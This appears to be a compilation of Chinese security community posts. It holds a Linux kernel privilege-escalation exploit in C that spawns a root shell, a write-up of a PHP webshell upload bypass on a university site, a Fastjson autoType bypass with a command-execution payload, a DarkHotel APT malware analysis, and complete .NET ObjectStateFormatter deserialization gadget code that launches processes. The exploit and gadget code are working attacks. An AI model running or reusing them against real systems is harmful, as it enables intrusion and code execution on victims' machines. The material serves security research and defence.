:"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)
:
:"memory"
);
puts("[*]status has been saved.");
}
void binsh()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
long flitbip(long *addr, long bit)
{
__asm__("mov rax, 333;"
"syscall;"
);
}
void root()
{
int *cred = *(unsigned long *)((char *)*current_task + 0x3c0);
for(int i = 1; i < 9; i++)
cred[i] = 0;
*(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read;
__asm__("swapgs;"
"mov rax, %0;"
"push rax;"
"mov rax, %1;"
"push rax;"
"mov rax, %2;"
"push rax;"
"mov rax, %3;"
"push rax;"
"mov rax, %4;"
"push rax;"
"iretq;"
:
:"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh)
:"memory"
);
}
int main()
{
save_status();
printf("user_sp addr: %pn", user_sp);
flitbip(flit_count, 63);
unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read;
printf("root addr: %lxn", root);
printf("root xor: %lxn", xor);
for(unsigned long i = 0; i < 64; i++)
{
if(xor & (1ULL << (i)))
flitbip((char *)n_tty_ops + 0x30, i);
}
scanf("%c", user_sp);
while(1);
return 0;
}
root~ | 社区文章 |
**前言**
2020-10-03报送edusrc，目前已修复。
本次渗透具有一定运气成分，且比较基础，各位师傅图个乐就好，有任何问题欢迎指出！
感谢墨渊团队的各个师傅们的指点，再次致以诚挚的谢意。
虽然该漏洞已修复，但烦请各位师傅如果看到有漏点的地方麻烦提醒下，以免出现不必要的争端。
**渗透过程：**
网站敏感网站备份文件泄露———>本地搭建———>发现原网站许多隐藏功能点（重点在注册点）———>注册用户———>进入后台发现存在用户头像的上传点———>利用姿势上传一句话木马———>getshell
**正文**
某天无聊在挖掘edu定向挖掘的过程中，无意间扫到了该edu子域名下的一个网站的备份网站文件泄露，随下载看看里面到底有什么骚东西。
备份文件的下载地址类似这样：<http://xxxx.xxxxx.edu.cn/xxxx/data.rar>
正好也看看这个子域名下到底是个什么样的网站
翻了一翻，发现该网站下除了登入点以外其他什么都没有，登陆点需要学号以及密码才能登录
（忘记截图了，抱歉，师傅们！）
既然这样，那我们就看看刚刚的敏感文件里有什么吧。
翻了一下压缩包中的文件，发现压缩包中的文件都是静态html文件，且对应的就是该网站所有的功能点，猛翻一通发现了一个注册的页面，为我们接下来的渗透埋下了伏笔。
data.rar\html\user\tpls\app
查看register.html 文件
再点击立即注册
页面报错，但是得到了注册点的位置
访问
<http://xxxx.xxxx.edu.cn/index.php?xxxxxregister>
进入了注册页面，成功注册
测试账号 test123 / 123456
登录后台
进入用户中心
该处可以上传php一句话木马
但是需要姿势上传,这里其实是黑名单限制，除了图片类型的文件都不能上传，但是后端的代码应该是取.之后的文件名存储,所以导致了上传一句话木马xxxxx.gif.php,到了后端变成了xxxxx.php
将一句话木马php 后缀改为gif
截包 后缀加上.php
F12查看路径
getshell.
System权限
edu未授权不做后续渗透.
完结撒花。 | 社区文章 |
# 漏洞介绍
> 这里主要分析漏洞产生原因和构造方法以及利用的一个思路
最近Fastjson又爆出了可绕过Autotype造成远程代码执行的漏洞，1.2.69版本已经在2020/06/01号发布
**对比了一下1.2.68版本与1.2.69版本，发现核心代码其实并没有什么变更，主要是增加了几个黑名单**
**核心所在其实还是`ParserConfig.java`中的checkAutoType方法**
**这里增加了对expectClass类的限制**
，其中从原来的增加7项增加到了10项，且全部转为16进制的Hash判断，那么多出来的3个这里是暂时是未知的。
# checkAutoType中的expectClass参数
>
> 在Fastjson中存在AutoType这个东西，目的是为了防止进行恶意反序列化对象从而导致的安全问题，如果在没有启用AutoType的情况下默认是只有白名单以及一些基础类型可以被反序列化。
关于checkAutoType中的expectClass参数，该形参类型为 `java.lang.Class`
当expectClass参数不为Null、且当前需要实例化的类型是expectClass的子类或实现时会将传入的类视为一个合法的类（此类不能在黑名单中），然后通过TypeUtils.loadClass返回该类型的Class.
至于这个存在的原因应当是例如 `com.cyx.A` 为白名单， `com.cyx.A` 的构造方法中或setter中存在
`com.cyx.B`，那么要想实例化 `com.cyx.A` 则需要传入 `com.cyx.B` 对象，而 `com.cyx.B`
并不在白名单中，所以将其作为expectClass参数传入checkAutoType方法中检测该类是否合法，如果是 `com.cyx.B`
的子类或实现则视为合法的类。
**哪如果攻击者找到了一个白名单类，而构造方法中或setter方法中含有`java.lang.Object`
这种祖宗类参数，子类非常多的类型，哪是不是就变相的绕过了AutoType?**
关于这一点Fastjson其实有做防范，在checkAutoType方法中判断了expectClass的类型
可以看到如果expectClassFlag不为true的话，最终还是无法加载到类，导致失败
所以到这里应该能大概的了解出这次绕过AutoType的方式了：
1. 以某个类作为expectClass参数传入checkAutoType
2. 查找反序列化expectClass的子类或实现，如果构造方法或setter中含有其它类型可重复第一步构造一个反序列化链，直到找到可以利用的类为止
# 漏洞分析
前面已经说到如何去利用，所以这里需要寻找一个子类或实现非常多的类或接口都行，在实际中还是主要看checkAutoType方法中，有哪些对象或接口可以通过校验，实际测试中存在如下几种：
* 白名单（符合白名单条件的类）
* TypeUtils.mappings （符合缓存映射中获取的类）
* typeMapping （ParserConfig中本身带有的集合）
* deserializers （符合反序列化器的类）
测试中发现实际上 TypeUtils.mappings 中含有相当多的类，其中就包括了接口 `java.lang.AutoCloseable`
该类型使用的是`JavaBeanDeserializer`反序列化器，在通过该反序列化器实例化对象时由于该类型为接口，将会继续解析下一个JSON字段，如果存在且为类型，则将
`java.lang.AutoCloseable` 作为 expectClass 参数传入checkAutoType检测下一个类型是否合法，相关片段代码如下
这里走进checkAutoType，可以看到我第二个字段为类型，值是 `com.cyx.A`（`java.lang.AutoCloseable`的实现）
**跟进checkAutoType**
那么这里就顺利的绕过了AutoType的检测，获得了一个恶意类型 `com.cyx.A`，然后通过构造方法造成命令执行
{"@type":"java.lang.AutoCloseable", "@type":"com.cyx.A", "cmd":"calc.exe"}
最后关于 `java.lang.AutoCloseable` 的实现是非常多的，真实环境下应当从下面寻找，因为一些原因Exploit这里不方便发出
# 参考
* <https://github.com/alibaba/fastjson>
* <https://github.com/alibaba/fastjson/releases/tag/1.2.69>
* <https://github.com/LeadroyaL/fastjson-blacklist> | 社区文章 |
# DarkHotel APT团伙新近活动的样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
Darkhotel（APT-C-06）是一个长期针对企业高管、国防工业、电子工业等重要机构实施网络间谍攻击活动的APT组织。2014年11月，卡巴斯基实验室的安全专家首次发现了Darkhotel
APT组织，并声明该组织至少从2010年就已经开始活跃，目标基本锁定在韩国、中国、俄罗斯和日本。360威胁情报中心对该团伙的活动一直保持着持续跟踪，而在最近几个月我们再次跟踪到该团伙发起的新的攻击活动。
## 来源
2018年2月中旬，360威胁情报中心在对恶意代码日常跟踪的过程中发现疑似定向攻击的APT样本，通过对该样本的深入分析，利用威胁情报中心数据平台，确认其与长期跟踪的DarkHotel
APT团伙存在关联，并且结合威胁情报数据挖掘到了该团伙更多的样本，对该团伙近年来使用的多个版本的恶意代码进行了分析对比，梳理了样本演化过程。
## 样本分析
监控到的样本是一个DOC样本（letter.doc），该样本会释放的一批白利用文件，其中一个白利用文件是谷歌Chrome浏览器组件：
白利用文件释放到以下目录：
%temp%\taskhost.exe
%temp%\chrome_frame_helper.dll
taskhost.exe的签名信息：
而chrome_frame_helper.dll文件被白文件加载起来后，会从自身资源释放出一个和0xa9异或后的PowerShell脚本，再解密后执行。
加密前的PowerShell脚本：
使用0xA9异或解密后的PowerShell脚本文件如下：
将混淆后的PowerShell脚本解密后如下：
IEx($url=’http://********ents.com/melon322/search.php?name=180322-16′;$key=’Lq5846yGptowMcuLyQBcdw+vgnKl7aA0lTBUV4QkShs=’;
$wc = New-Object Net.WebClient; $wc.Headers[“User-Agent”] = “Mozi11a/4.0″;
$a=$wc.DownloadString($url);$a) ”
### Dropper
解密后的PowerShell脚本就是一个Dropper，该脚本会将UserAgent设置为Mozi11a/4.0然后去下载下一步的PowerShell脚本执行：
再次下载回来的PowerShell脚本也是经过混淆的，去混淆分析整理后的功能主要是绕过UAC后去下载msfte.dll到系统的system32目录下，下载NTWDBLIB.DLL文件到系统的system32目录下，通过cliconfg.exe白利用加载NTWDBLIB.DLL来修改msfte.dll的宿主服务WSearch成自动开启状态，实现msfte.dll的持久化驻留主要功能如下：
**Bypass UAC**
样本首先通过修改注册表HKCU:\Software\Classes\exefile\shell\runas\command的值，指向需要运行的进程路径（PowerShell），再运行sdclt.exe触发执行起来的进程以实现Bypass
UAC：
**劫持系统模块**
Bypass
UAC后的PowerShell脚本会伪装UserAgent后去下载msfte.dll和NTWDBLIB.DLL这两个文件，然后通过AES解密到%temp%目录下，密钥为’Lq5846yGptowMcuLyQBcdw+vgnKl7aA0lTBUV4QkShs=’：
使用PowerShell-Suite模块分别把temp目录下的msfte.dll和NTWDBLIB.DLL移动到system32目录下（因为当前执行的powershell的进程是bypass
uac起来的，所以可以成功移动到系统目录下）。
%windir%\System32\cliconfg.exe文件会默认加载system32目录下的NTWDBLIB.dll文件，这样通过执行cliconfg.exe来执行NTWDBLIB.DLL的代码，而该DLL的代码主要是修改Wsearch服务的状态为自动启动状态，实现msfte.dll的长久驻留系统。
**传输加密后进程列表到WEB服务器**
脚本还会将进程列表加密后传输到WEB服务器：
**上传msfte.dll文件信息**
最后将msfte.dll的文件信息加密上传，确认mstfe.dll是否修改成功：
### NTWDBLIB.dll分析
该DLL的主要作用是把WSearch服务（mstfe.dll的宿主服务）设置成自动启动状态，这样mstfe.dll会随系统启动而启动，然后重启服务，加载劫持的DLL文件：
还会检测AVG及AVAST杀软：
如果存在这两类杀软则删除自身：
生成对应自删除脚本并执行：
### msfte.dll分析
下载回来的msfte.dll成功释放到system32目录后，重启系统（随之启动WSerch服务）会默认加载这个DLL文件，实现自启动，代码中会判断是否是以下几个进程加载该DLL，如果是才会执行恶意代码：
恶意代码执行后先获取Payload的下载地址：
LoadConfig函数会先判断同目录下有没有Config.ini，如果没有，就会从自身解密出Payload的下载地址：
解密后的数据内容，该样本的payload的下载地址为：
http://******ld.com/strawberry322/config.php
http://******00.com/strawberry322/config.php
拼接出下载地址：
下载回来的文件是一个图片，附加数据在图片的后面：
正常图片和捆绑了数据的图片大小对比：
最后从图片的附加数据种解密出Payload：
解密函数中会首先校验下载数据的合法性，然后再执行解密：
最后通过异或/减获取到解密后的PE文件：
解密后的数据如下：
在内存种反射加载解密后的PE文件：
### 主功能DLL（RetroMain）分析
msfte.dll下载解密图片中的数据得到的DLL文件即为主远控DLL，该远控的主要功能逻辑除了命令处理模块外，还会启动两个线程分别用于插件安装，及信息窃取：
**字符串加密算法**
样本中使用的相关字符集函数名称都行了加密，加密的方式包含以下三类：
第一类通过一个预置的64字节的字典异或获取字符串的值，该类解密算法主要用于解密动态函数名及部分重要的字符串：
第二类加密算法为单字节异或/加减，主要用于部分重要数据结构的解密：
部分解密后的数据如下：
**启动执行插件的线程**
主控DLL启动一个线程并通过上述的第二类解密算法获取对应的插件名及插件对应的目录，插件路径为%ALLUSERSPROFILE%\GE4FH28Q，支持的插件如红框所示：
再依次判断目录下的对应插件，并加载执行：
之后获取系统相关信息，主要为系统版本及操作系统当前的相关状态信息（如路由表，进程列表等）：
fun_CollectinfoBycmd函数中通过CMD命令获取操作系统状态：
部分收集的信息如下所示：
紧接着开启第二个线程用于窃取用户数据，窃取的主要文件后缀有：
“.txt”;”.tmp”;”.dat”;”.dot”;”.rar”;
然后提交到如下URL：
http://******rld.com/strawberry322/config.php?p=H&inst=2749&name=180322-16
最后进入fun_shell_Dispatch函数，该函数通过POST的方式提交用户信息（地址：http://******rld.com/strawberry322/config.php?p=H&inst=0538&name=180322-16），并返回对应的攻击指令，且提交数据的前八个字节预留，用于校验：
singal前6位的数据通过时间和随机数相加取余获得，第7、8位为前6位和的校验值：
之后获取服务端的指令执行相应的功能，支持的功能如下：
### 插件分析
样本的主控模块（RetroMain）除了实现远程命令处理等功能以外主要以插件形式执行主要的模块功能，样本使用了多个插件，主要的插件功能如下：
相关插件的具体功能分析如下：
**Ctfmon.exe/wqstec.exe**
这两个exe为轻量级的信息收集Loader，通过执行以下CMD命令收集系统相关信息：
通过cmd.exe /c dir /x /s
/a遍历目录文件信息，获取指定后缀的文件doc，xls，txt，ppt，eml，doc，并通过WinRAR加密压缩，对应的密码为：p1q2w3e4r!@#$????1234****：
收集的信息及对应的打包文件通过FTP上传，FTP服务器IP地址：119.xx.xx.32
用户名：unknown
密码：wodehaopengyou123!@#
ctfmon_ donot.exe
该插件主要的功能是收集浏览器密码，然后经过AES加密存储到本地，供攻击者读取：
根据时间生成密钥，将生成的密钥字符串放到文件名里，最后把窃取的结果通过生成的密钥进行AES加密：
记录的数据格式是将每条AES加密后的数据进行Base64编码，再存储到文件中：
**Dmext.dll/cryptcore.dll**
该模块为一个Loader，用于下载对应的metsrv.dll，下载回来的DLL为Metasploit生成，对应的C&C地址通过异或加减操作解密：
对应的IP，Port如下：
直接下载后通过线程函数启动：
**aucodhw.dll**
该插件的DLLMain中会先判断加载模块的进程是不是这3个进程：
SearchFilterHost.exe
SearchProtocolHost.exe
SearchFilterHost.exeUp
如果是，就先删除记录文件路径的配置文件%ALLUSERSPROFILE%/FW5GH1AO.lck，然后创建窗口线程，实现窗口消息循环：
随后在窗口线程里创建一个名为lua的窗口，并设置对应的lpfunWndProc函数，该函数为对应的文件窃取的主函数。
该模块为对应的文件窃取模块，内部解密的配置元组如下所示，标记了窃取的文件类型，及对应的文件保存格式等信息：
解密前的数据如下，前5个字节是标志，第5个字节是长度，后面是数据：
解密算法：
最后判断是否有移动磁盘，有的时候，会60秒执行一次收集函数，没有的时候180秒执行一次：
样本运行之后会有专门的线程用于监控可移动磁盘（DRIVE_REMOVABLE）的插入，并窃取其中的重要文件：
收集比较特定后缀的文件，文件后缀包含（.txt,.hwp,.doc,.docx,.xls,.xlsx,.ppt,.pptx）：
最终把文件加密存到%ALLUSERSPROFILE%\AU50FE1D，等待攻击者提取。
**sdihlp.dll**
sdihlp.dll为该样本使用的截屏模块，模块启动后创建互斥量Mutexhawaiank，之后开启主线程：
随后创建一个名为aul的窗口，并设置对应的lpfunWndProc函数，该函数为对应的屏幕截屏主函数：
主函数中通过调用BitBlt抓取屏幕截图，并通过GDI函数保存成JPG文件。
临时的JPG文件保存在C:\ProgramData\AssemblyDataCache目录下：
之后对图片进行加密处理，并剪切到C:\ProgramData\AU50FE1D目录下：
最终保存的图片如下所示：
**Helpcst.dll/kbdlu.dll**
该DLL为键盘记录模块，通过主模块Retromain.dll加载运行，运行后会判断其进程是否为SearchProtocolHost.exe，否则退出，之后开启键盘记录线程：
获取部分需要使用的字符串，加密方式和主模块一致：
其中包含了对应的键盘记录存放目录（%ALLUSERSPROFILE%\\\AU50FE1D），及记录的文件类型，其同样会创建一个名为klua的窗口，并设置对应的lpfunWndProc函数，该函数为键盘记录主体：
该DLL中使用GetRawInput的方式获取击健记录：
记录日志如下所示：
**metsrv.dll**
该DLL为Metasploit生成的攻击DLL。
### 还原攻击流程
通过360威胁情报中心的大数据关联，我们补齐了其它缺失的攻击样本，还原了本次攻击的整个流程：
## 溯源和关联
通过对样本中使用的特殊代码结构、域名/IP等的关联分析，以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展，我们有理由相信此次攻击的幕后团伙为Darkhotel（APT-C-06）。
### 网络内容合法性算法关联
在分析的msfte.dll样本中我们注意到一段比较特殊的校验获取网络内容的合法性的算法，校验代码如下：
通过对使用了相同算法的样本关联分析，我们发现了另外两种形式的Dropper样本，分别是EXE和图片文件捆绑执行的样本，以及通过Lnk快捷方式执行的样本，他们都使用了相似的代码结构，可以确认这两种形式的Dropper样本和本次分析的样本出自同一团伙之手，比如特殊的校验获取的网络内容合法性算法部分完全一致：
样本A（wuauctl.exe）
样本B(cala32.exe)
### 域名关联分析指向DarkHotel
进一步分析使用Lnk快捷方式执行恶意代码的样本，可以看到都使用了完全一致的命令行参数和代码：
习惯性的使用360威胁情报中心数据平台搜索样本中用于下载恶意脚本的两个域名，可以看到相关域名正是360威胁情报中心内部长期跟踪的Darkhotel
APT团伙使用的域名，相关域名早已经被打上Darkhotel的标签：
### 溯源关联图
### Dropper演变史
360威胁情报中心通过大数据关联，对 DarkHotel APT团伙从2016年以来使用的Dropper进行了整理分析。
#### 2016年
DarkHotel APT团伙从2016年以来一直使用Lnk快捷方式这种成本低廉且稳定的方式投递鱼叉邮件：
对应的命令行参数：
#### 2017年
2017年开始同时使用伪装图片文件的PE文件的方式投递鱼叉邮件：
#### 2018年
到2018年，DarkHotel开始使用已知好用的Office NDay 或者Office 0Day漏洞来投递鱼叉邮件，一般使用的Dropper名一般为：
letter.doc
### 各版本Loader对比分析
360威胁情报中心通过大数据关联，对 DarkHotel
APT团伙近年来使用的多个Loader版本进行了整理分析，通过分析大致可以看到该Loader历经了三个开发周期：
**第一版Loader**
最初版本的Loader主函数功能十分清晰，线程中执行主要的Loader功能，并通过LoadLibrary加载模块DLL：
主线程中只对C&C进行了加密处理，如下所示其URL的字段和现在的版本基本一致：
C&C的加密算法如下所示，也是简单的XOR及加减处理，甚至其对应操作的变量都是一致的：
加密C&C字段同样以OCC标记。
Loader中本身内嵌了杀软的检测代码，如下所示，可以看到早期的样本中检测杀软比最新版要多很多：
检测中时候用的字符如下所示并没用进行混淆处理：
和最新模块一致的信息收集方式（大量CMD指令获取计算机信息）：
提交的用户信息中，同样会在前八个字节创建对应siginal，算法至今未变：
下载服务器返回的其他模块并加载，如下所示，加载器校验对应的下载模块是否以UPG或DEL开头，最新版本的校验头为DLL：
创建对应的自删除BAT文件：
**第二版Loader**
第二版和第一版相差不大，代码逻辑上基本没有修改，只是对第一版中大量的敏感字符进行了混淆处理，如下为解密的对应杀软检测字符：
对应的插件名，URL字段：
以简单的GetCC函数为例，可以看到代码整体逻辑是没有区别的：
只是增加了对应的混淆还原处理：
**第三版Loader**
通过和之前两个版本的比较，结合样本的分析，可以发现第三版是在第二版的基础上进行拆分，第二版的代码直接被拆分为现在的msfte.dll、ReroMain以及NTWDBLIB.dll三个DLL，但是代码的整体逻辑，包括加密算法、通信校验上并没有太大的变化，而是把Loader的功能进行了更细粒度的拆分，使其更加模块化。
## 总结
360威胁情报中心对Darkhotel
APT团伙的近期攻击活动中使用的恶意代码进行了深入的分析挖掘，并结合威胁情报数据对该团伙近三年来的攻击武器进行了分析和比较，可以看出该团伙主要使用鱼叉攻击投放攻击载荷文件，并不断更换其载荷文件的形态。结合对该团伙历史攻击武器的分析，其持续更新迭代恶意代码的功能和形态，并呈现出功能模块化的趋势。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙攻击活动的检测。
## IOCs
## 参考
<https://ti.360.net/>
<https://github.com/FuzzySecurity/PowerShell-Suite> | 社区文章 |
# ObjectStateFormatter
ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。
微软官方文档指出：
> [ObjectStateFormatter](https://docs.microsoft.com/en-> us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8) is
> used by the [PageStatePersister](https://docs.microsoft.com/en-> us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8) class
> and classes that derive from it to serialize view state and control state.
> It is also used by the [LosFormatter](https://docs.microsoft.com/en-> us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8) class to
> provide object state graph formatting for various parts of the ASP.NET
> infrastructure.
[PageStatePersister](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8)类和[从其派生的](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8)类使用[ObjectStateFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8)来序列化视图状态和控件状态。[LosFormatter](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8)类还使用它为ASP.NET基础结构的各个部分提供对象状态图格式。可见ObjectStateFormatter是LosFormatter的底层实现，而在ysoserial.net工具中并没有这个formatter，原因是因为在ysoserial.net工具中有这样一句话：
> We don't actually need to use ObjectStateFormatter in ysoserial.net because
> it is the same as LosFormatter without MAC/keys
即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可，除非需要mac/key。
# 序列化和反序列化
构造方法只有一个无参构造，反序列化方法同样支持直接反序列化字符串，和LosFormatter差不多，不再赘述。
# 攻击链
针对前文中多个ClaimsIdentity及其拓展的攻击链，本文继续讲解RolePrincipal、WindowsPrincipal。
## RolePrincipal
先看ysoserial.net中的payload构造
其中B64Payload存放的是TextFormattingRunPropertiesGenerator通过base64之后BinaryFormatter序列化的数据。
RolePrincipal类继承ClaimsPrincipal。在RolePrincipal的反序列化构造方法中
调用父类的Identities字段
该字段在父类反序列化时进行赋值，看父类的反序列化构造方法
调用Deserialize()，跟进
枚举info，如果键名为`System.Security.ClaimsPrincipal.Identities`时进入`this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"))`
将info.GetString("System.Security.ClaimsPrincipal.Identities")的base64值转byte[]数组通过binaryformatter直接反序列化。由此造成RCE。
整个链：父类在反序列化构造时将`info.GetString("System.Security.ClaimsPrincipal.Identities")`取出的值base64转byte数组之后直接反序列化造成RCE。
自己尝试构造payload
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Claims;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace ObjectStateFormatterSerialize
{
class Program
{
static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
string b64payload;
using (MemoryStream m = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(m, calc);
b64payload = Convert.ToBase64String(m.ToArray());
}
RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
objectStateFormatter.Deserialize(p);
}
}
[Serializable]
public class RolePrincipalMarshal : ISerializable
{
public RolePrincipalMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Web.Security.RolePrincipal));
info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}
运行后弹出calc。
## WindowsPrincipal
对于WindowsPrincipal的构造就两行代码
在generate的时候
新建了一个WindowsIdentity实例，其Actor字段的BootstrapContext值赋值为TextFormattingRunPropertiesGadget的payload。看到BootstrapContext就知道是ClaimsIdentity
gadget的又一次利用。自己构造payload
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.Serialization;
using System.Security.Claims;
using System.Security.Principal;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace ObjectStateFormatterSerialize
{
class Program
{
static void Main(string[] args)
{
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.Actor = new ClaimsIdentity();
currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);
}
}
[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
public WindowsPrincipalMarshal() { }
public WindowsIdentity wi { get; set; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsPrincipal));
info.AddValue("m_identity", wi);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}
WindowsPrincipal类有一个字段类型为WindowsIdentity
而前文中讲过WindowsIdentity的bootstrapContext字段可反序列化RCE。所以payload构造可以更简单些：
class Program
{
static void Main(string[] args)
{
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);
}
}
堆栈
可见在反序列化重建对象时，填充类型为WindowsIdentity的m_identity字段时触发了其父类的反序列化，从而反序列化bootstrapContext。
在GetObjectData中
[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
public WindowsPrincipalMarshal() { }
public WindowsIdentity wi { get; set; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsPrincipal));
info.AddValue("m_identity", wi);
}
}
m_identity可以改成随便的字符串，因为在info中，value对象被序列化存储，在反序列化时，info重建其value会自动反序列化。
# 后文
本文讲解了RolePrincipal、WindowsPrincipal攻击链。RolePrincipal是对ClaimsPrincipal的继承利用，WindowsPrincipal是套娃WindowsIdentity，本质还是通过ClaimsIdentity利用。 | 社区文章 |
# 【知识】9月6日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 【漏洞预警】Apache Struts2插件高危漏洞(S2-052)、Struts2 S2-052
RCE分析与利用、Mastercard互联网网关服务：Hashing设计缺陷、Solaris to Linux Migration 2017、ToorCon
19 – 2017 议题视频、滥用可写Windows服务**
**资讯类：**
【漏洞预警】Apache Struts2插件高危漏洞(S2-052)
[http://bobao.360.cn/news/detail/4291.html](http://bobao.360.cn/news/detail/4291.html)
**技术类：**
****
Mastercard互联网网关服务：Hashing设计缺陷
<http://tinyhack.com/2017/09/05/mastercard-internet-gateway-service-hashing-design-flaw/>
DIY监控程序: 滥用Apple的Call Relay协议
<http://www.martinvigo.com/diy-spy-program-abusing-apple-call-relay-protocol/>
High Sierra安全内核扩展加载存在安全隐患
<https://objective-see.com/blog/blog_0x21.html>
ToorCon 19 – 2017 议题视频
<https://www.youtube.com/playlist?list=PLR6Acteg0QHE0Yjs3jK2zzWjmGhUgsYUp>
滥用可写Windows服务
<https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/>
使用QL去发现Apache Struts的远程代码执行漏洞（CVE-2017-9805)
<https://lgtm.com/blog/apache_struts_CVE-2017-9805>
译文：
<https://xianzhi.aliyun.com/forum/read/2067.html>
WiseGiga NAS多个漏洞
<https://blogs.securiteam.com/index.php/archives/3402>
Struts2 S2-052 RCE分析与利用
<https://mp.weixin.qq.com/s/PedD0NG2KLAKWbupzU8lrw>
通过静态分析检测Python Web应用程序中漏洞
<https://github.com/python-security/pyt>
C# DLL注入指南
<http://www.codingvision.net/miscellaneous/c-inject-a-dll-into-a-process-w-createremotethread>
Graftor – But I Never Asked for This
<http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html>
Flattened MITRE ATT&CK Matrix
<http://www.austintaylor.io/mitre/attack/matrix/flattened/threat/actor/mapping/2017/09/05/flattened-mitre-attack-matrix/>
Flash Dumping – Part I
<https://blog.quarkslab.com/flash-dumping-part-i.html>
Re-enjoying the ActiveX (and others) Fun in Chinese Customized Browsers
<https://justhaifei1.blogspot.com/2017/09/re-enjoying-activex-and-others.html>
Solaris to Linux Migration 2017
<http://www.brendangregg.com/blog/2017-09-05/solaris-to-linux-2017.html>
security things in Linux v4.13
<https://outflux.net/blog/archives/2017/09/05/security-things-in-linux-v4-13/>
Footprints of FIN7: Tracking Actor Patterns (Part 1)
